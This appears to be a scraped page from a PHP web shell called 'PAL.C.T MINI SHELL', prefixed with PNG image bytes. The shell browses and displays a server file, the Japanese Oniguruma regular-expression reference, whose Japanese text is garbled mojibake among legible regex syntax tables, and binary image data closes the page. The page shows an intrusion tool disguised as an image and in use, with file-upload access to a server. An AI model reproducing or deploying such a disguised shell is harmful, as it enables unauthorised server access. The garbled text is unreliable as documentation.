php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /opt/php-7.0.1/ext/mbstring/oniguruma/doc/
upload
files >> //opt/php-7.0.1/ext/mbstring/oniguruma/doc/RE.ja

 ɽ Version 5.9.1    2007/09/05

ʸˡ: ONIG_SYNTAX_RUBY ()


1. 

  \       򽤾 ()  ɽͭ/̵
  |       
  (...)      (롼)
  [...]   ʸ (ʸ饹)


2. ʸ

  \t           ʿ         (0x09)
  \v           ľ         (0x0B)
  \n                        (0x0A)
  \r                        (0x0D)
  \b                    (0x08)
  \f                        (0x0C)
  \a                          (0x07)
  \e           򽤾         (0x1B)
  \nnn         Ȭʿɽ        沽Х(ΰ)
  \xHH         ϻʿɽ      沽Х(ΰ)
  \x{7HHHHHHH} ĥϻʿɽ  ɥݥ
  \cx          ʸɽ      ɥݥ
  \C-x         ʸɽ      ɥݥ
  \M-x         Ķ  (x|0x80)      ɥݥ
  \M-\C-x      Ķ + ʸɽ ɥݥ

   \bϡʸǤΤͭ


3. ʸ

  .        Ǥʸ (Ԥ)

  \w       ñ칽ʸ

           Unicodeʳξ:
             ѿ, "_"  ¿Хʸ

           Unicodeξ:
             General_Category -- (Letter|Mark|Number|Connector_Punctuation)

  \W       ñ칽ʸ

  \s       ʸ

           Unicodeʳξ:
             \t, \n, \v, \f, \r, \x20

           Unicodeξ:
             0009, 000A, 000B, 000C, 000D, 0085(NEL), 
             General_Category -- Line_Separator
                              -- Paragraph_Separator
                              -- Space_Separator

  \S       ʸ

  \d       10ʿ

           Unicodeξ: General_Category -- Decimal_Number

  \D       10ʿ

  \h       16ʿ    [0-9a-fA-F]

  \H       16ʿ


  Character Property

    * \p{property-name}
    * \p{^property-name}    (negative)
    * \P{property-name}     (negative)

    property-name:

     + ƤΥ󥳡ǥ󥰤ͭ
       Alnum, Alpha, Blank, Cntrl, Digit, Graph, Lower,
       Print, Punct, Space, Upper, XDigit, Word, ASCII,

     + EUC-JP, Shift_JISͭ
       Hiragana, Katakana

     + UTF8, UTF16, UTF32ͭ
       Any, Assigned, C, Cc, Cf, Cn, Co, Cs, L, Ll, Lm, Lo, Lt, Lu,
       M, Mc, Me, Mn, N, Nd, Nl, No, P, Pc, Pd, Pe, Pf, Pi, Po, Ps,
       S, Sc, Sk, Sm, So, Z, Zl, Zp, Zs, 
       Arabic, Armenian, Bengali, Bopomofo, Braille, Buginese,
       Buhid, Canadian_Aboriginal, Cherokee, Common, Coptic,
       Cypriot, Cyrillic, Deseret, Devanagari, Ethiopic, Georgian,
       Glagolitic, Gothic, Greek, Gujarati, Gurmukhi, Han, Hangul,
       Hanunoo, Hebrew, Hiragana, Inherited, Kannada, Katakana,
       Kharoshthi, Khmer, Lao, Latin, Limbu, Linear_B, Malayalam,
       Mongolian, Myanmar, New_Tai_Lue, Ogham, Old_Italic, Old_Persian,
       Oriya, Osmanya, Runic, Shavian, Sinhala, Syloti_Nagri, Syriac,
       Tagalog, Tagbanwa, Tai_Le, Tamil, Telugu, Thaana, Thai, Tibetan,
       Tifinagh, Ugaritic, Yi



4. ̻

  ĥ

    ?       ޤ
    *       ʾ
    +       ʾ
    {n,m}   nʾmʲ
    {n,}    nʾ
    {,n}    ʾnʲ ({0,n})
    {n}     n

  ̵

    ??      ޤ
    *?      ʾ
    +?      ʾ
    {n,m}?  nʾmʲ
    {n,}?   nʾ
    {,n}?   ʾnʲ (== {0,n}?)

   (ĥǡ֤ϲ򸺤餹褦ʸƻԤ򤷤ʤ)

    ?+      ޤ
    *+      ʾ
    ++      ʾ

    ({n,m}+, {n,}+, {n}+ ϡONIG_SYNTAX_JAVAǤΤ߶ߤʻ)

    . /a*+/ === /(?>a*)/


5. 

  ^       Ƭ
  $       
  \b      ñ춭
  \B      ñ춭
  \A      ʸƬ
  \Z      ʸޤʸβԤľ
  \z      ʸ
  \G      ȹ糫ϰ


6. ʸ

  ^...       (ͥٱ黻)
  x-y     ϰ   (xyޤ)
  [...]      (ʸʸ)
  ..&&..  ѱ黻 (^μͥ٤㤤黻)

     . [a-w&&[^c-g]z] ==> ([a-w] and ([^c-g] or z)) ==> [abh-w]

   '[', '-', ']'ʸ̾ʸΰ̣ǻѤˤϡ
     ʸ'\'򽤾ʤФʤʤ


  POSIX֥饱å ([:xxxxx:],  [:^xxxxx:])

    Unicodeʳξ:

      alnum    ѿ
      alpha    ѻ
      ascii    0 - 127
      blank    \t, \x20
      cntrl
      digit    0-9
      graph    ¿Хʸޤ
      lower
      print    ¿Хʸޤ
      punct
      space    \t, \n, \v, \f, \r, \x20
      upper
      xdigit   0-9, a-f, A-F
      word     ѿ, "_"  ¿Хʸ

    Unicodeξ:

      alnum    Letter | Mark | Decimal_Number
      alpha    Letter | Mark
      ascii    0000 - 007F
      blank    Space_Separator | 0009
      cntrl    Control | Format | Unassigned | Private_Use | Surrogate
      digit    Decimal_Number
      graph    [[:^space:]] && ^Control && ^Unassigned && ^Surrogate
      lower    Lowercase_Letter
      print    [[:graph:]] | [[:space:]]
      punct    Connector_Punctuation | Dash_Punctuation | Close_Punctuation |
               Final_Punctuation | Initial_Punctuation | Other_Punctuation |
               Open_Punctuation
      space    Space_Separator | Line_Separator | Paragraph_Separator |
               0009 | 000A | 000B | 000C | 000D | 0085
      upper    Uppercase_Letter
      xdigit   0030 - 0039 | 0041 - 0046 | 0061 - 0066
               (0-9, a-f, A-F)
      word     Letter | Mark | Decimal_Number | Connector_Punctuation



7. ĥ

  (?#...)           
  (?imx-imx)        Ωץ
                      i: ʸʸȹ
                      m: ʣ
                      x: ĥ
  (?imx-imx:)     ץ

  ()              ͼ
  (?:)            ͼ

  (?=)            ɤ
  (?!)            ɤ
  (?<=)           ɤ
  (?<!)           ɤ

                    ɤߤμϸʸĹǤʤФʤʤ
                    Ǿ̤ҤϰۤʤäʸĹ롣
                    . (?<=a|bc) ϵ. (?<=aaa(?:b|cd)) Ե

                    ɤߤǤϡͼϵʤ
                    ͼϵ롣

  (?>)            Ū
                    Τ̲ᤷȤǤθƻԤԤʤʤ

  (?<name>), (?'name')
                    ̾դͼ
                    ̾Ƥ()
                    (̾ñ칽ʸǤʤФʤʤ)

                    ̾ǤʤͼƱֹͤƤ롣
                    ֹ꤬ػߤƤʤ (10. ͼ 򻲾)
                    ΤȤϡ̾ȤʤֹǤ⻲ȤǤ롣

                    ʣμƱ̾Ϳ뤳ȤϵƤ롣
                    ξˤϡ̾ѤȤϲǽǤ뤬
                    ʬƽФϤǤʤ


8. 

  \n          ֹ껲     (n >= 1)
  \k<n>       ֹ껲     (n >= 1)
  \k'n'       ֹ껲     (n >= 1)
  \k<-n>      ֹ껲 (n >= 1)
  \k'-n'      ֹ껲 (n >= 1)
  \k<name>    ̾껲
  \k'name'    ̾껲

  ̾껲Ȥǡ̾ʣμ¿Ƥˤϡ
  ֹ礭礫ͥŪ˻Ȥ롣
  (ޥåʤȤˤֹξ礬Ȥ)

   ֹ껲Ȥϡ̾դͼ礬졢
      ONIG_OPTION_CAPTURE_GROUPꤵƤʤˤϡ
     ػߤ롣(10. ͼ 򻲾)


  ͥȥ٥դ

    level: 0, 1, 2, ...

    \k<n+level>     (n >= 1)
    \k<n-level>     (n >= 1)
    \k'n+level'     (n >= 1)
    \k'n-level'     (n >= 1)

    \k<name+level>
    \k<name-level>
    \k'name+level'
    \k'name-level'

    Ȥΰ֤ŪʬƽФͥȥ٥ꤷơΥ٥Ǥ
    ͤ򻲾Ȥ롣

    -1.

      /\A(?<a>|.|(?:(?<b>.)\g<a>\k<b+0>))\z/.match("reer")

    -2.

      r = Regexp.compile(<<'__REGEXP__'.strip, Regexp::EXTENDED)
      (?<element> \g<stag> \g<content>* \g<etag> ){0}
      (?<stag> < \g<name> \s* > ){0}
      (?<name> [a-zA-Z_:]+ ){0}
      (?<content> [^<&]+ (\g<element> | [^<&]+)* ){0}
      (?<etag> </ \k<name+1> >){0}
      \g<element>
      __REGEXP__

      p r.match('<foo>f<bar>bbb</bar>f</foo>').captures



9. ʬƽФ ("ůڥ")

  \g<name>    ̾ƽФ
  \g'name'    ̾ƽФ
  \g<n>       ֹƽФ    (n >= 1)
  \g'n'       ֹƽФ    (n >= 1)
  \g<-n>      ֹƽФ (n >= 1)
  \g'-n'      ֹƽФ (n >= 1)

   Ǻ֤ǤκƵƽФ϶ػߤ롣
     . (?<name>a|\g<name>b)   => error
         (?<name>a|b\g<name>c)  => OK

   ֹƽФϡ̾դͼ礬졢
      ONIG_OPTION_CAPTURE_GROUPꤵƤʤˤϡ
     ػߤ롣 (10. ͼ 򻲾)

   ƤӽФ줿Υץ֤ƽФ¦Υץ֤ȰۤʤäƤ
     ȤƤӽФ줿¦Υץ֤ͭǤ롣

     . (?-i:\g<name>)(?i:(?<name>a)){0}  "A" ˾ȹ롣


10. ͼ

  ͼ(...)ϡʲξ˱ƿѲ롣
  (̾դͼѲʤ)

  case 1. /.../     (̾դͼԻѡץʤ)

     (...) ϡͼȤư롣

  case 2. /.../g    (̾դͼԻѡץ 'g')

     (...) ϡͼȤư롣

  case 3. /..(?<name>..)../   (̾դͼϻѡץʤ)

     (...) ϡͼȤư롣
     ֹ껲/ƤӽФԵġ

  case 4. /..(?<name>..)../G  (̾դͼϻѡץ 'G')

     (...) ϡͼȤư롣
     ֹ껲/ƤӽФϵġ

  â
    g: ONIG_OPTION_DONT_CAPTURE_GROUP
    G: ONIG_OPTION_CAPTURE_GROUP
    ('g''G'ץϡruby-dev MLǵ줿)

  οΰ̣ϡ
  ̾դ̵ͤ̾ͤƱ˻ѤɬΤ̤ϾʤǤ
  Ȥͳͤ줿ΤǤ롣


-----------------------------
䵭 1. ʸˡ¸ץ

   + ONIG_SYNTAX_RUBY
     (?m): 䵭(.)ϲԤȾȹ

   + ONIG_SYNTAX_PERL  ONIG_SYNTAX_JAVA
     (?s): 䵭(.)ϲԤȾȹ
     (?m): ^ ϲԤľ˾ȹ礹롢$ ϲԤľ˾ȹ礹


䵭 2. ȼĥǽ

   + 16ʿ16ʿ  \h, \H
   + ̾դͼ      (?<name>...), (?'name'...)
   + ̾        \k<name>
   + ʬƽФ            \g<name>, \g<group-num>


䵭 3. Perl 5.8.0Ӥ¸ߤʤǽ

   + \N{name}
   + \l,\u,\L,\U, \X, \C
   + (?{code})
   + (??{code})
   + (?(condition)yes-pat|no-pat)

   * \Q...\E
     âONIG_SYNTAX_PERLONIG_SYNTAX_JAVAǤͭ


䵭 4. Ruby 1.8 ܸ첽 GNU regex(version 0.12)Ȥΰ㤤

   + ʸPropertyǽɲ (\p{property}, \P{Property})
   + 16ʿɲ (\h, \H)
   + ɤߵǽɲ
   + ߤʷ֤Ҥɲ (?+, *+, ++)
   + ʸα黻Ҥɲ ([...], &&)
     ('[' ϡʸ̾ʸȤƻѤȤˤ
      򽤾ʤФʤʤ)
   + ̾դͼȡʬƽФǽɲ
   + ¿ХʸɤꤵƤȤ
     ʸȬʿޤϽϻʿɽϢ³ϡ¿Хɽ줿
     ĤʸȲᤵ
     (. [\xa1\xa2], [\xa1\xa7-\xa4\xa1])
   + ʸǡХʸ¿Хʸϰϻϵ롣
     ex. /[a-]/
   + ΩץͭϰϤϡθΩץޤǤ뼰
     ޤǤǤ
     . (?:(?i)a|b)  (?:(?i:a|b)) Ȳᤵ롢(?:(?i:a)|b)ǤϤʤ
   + ΩץϤμФƩŪǤϤʤ
     . /a(?i)*/ ʸˡ顼Ȥʤ
   + Դʷ֤ϰϻҤ̾ʸȤƵĤ
     . /{/, /({)/, /a{2,3/
   + ŪPOSIX֥饱å [:^xxxx:] ɲ
   + POSIX֥饱å [:ascii:] ɲ
   + ɤߤη֤Ե
     . /(?=a)*/, /(?!b){5}/
   + ͤǻꤵ줿ʸФƤ⡢ʸʸȹ祪ץͭ
     . /\x61/i =~ "A"
   + ֤ǡξά(0)Ǥ
     /a{,n}/ == /a{0,n}/
     ȺƱάϵʤ(/a{,}/)
   + /a{n}?/̵ߤʱ黻ҤǤϤʤ
     /a{n}?/ == /(?:a{n})?/
   + ̵ʸȤåƥ顼ˤ롣
     /\1/, /(a)\2/
   + ̵·֤ǡĹǤξȹϷ֤Ǥ뤬
     ΤȤǤ٤ɤȽȤơͼ;֤
     ѲޤǹθƤ
     /(?:()|())*\1\2/ =~ ""
     /(?:\1a|())*/ =~ "a"



䵭 5. Ƥ뤬ͤǤͭˤƤʤǽ

   + 򻲾

     (?@...)  (?@<name>...)

     . /(?@a)*/.match("aaa") ==> [<0-1>, <1-2>, <2-3>]

     ˡϡsample/listcap.c򻲾

     ͭˤƤʤͳϡɤΩĤϤäꤷʤᡣ


䵭 6. 

   + 󥳡ǥ󥰥ХͤŬʲɤΥåϹԤʤäƤʤ

     : UTF-8

     * ƬХȤȤʥХȤʸȤߤʤ
       /./u =~ "\xa3"

     * ԴʥХȥ󥹤Υå򤷤ʤ
      /\w+/u =~ "a\xf3\x8ec"

     Ĵ٤뤳ȤϲǽǤϤ뤬٤ʤΤǹԤʤʤ

     ʸȤơΤ褦ʥХꤷưݾڤʤ


y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`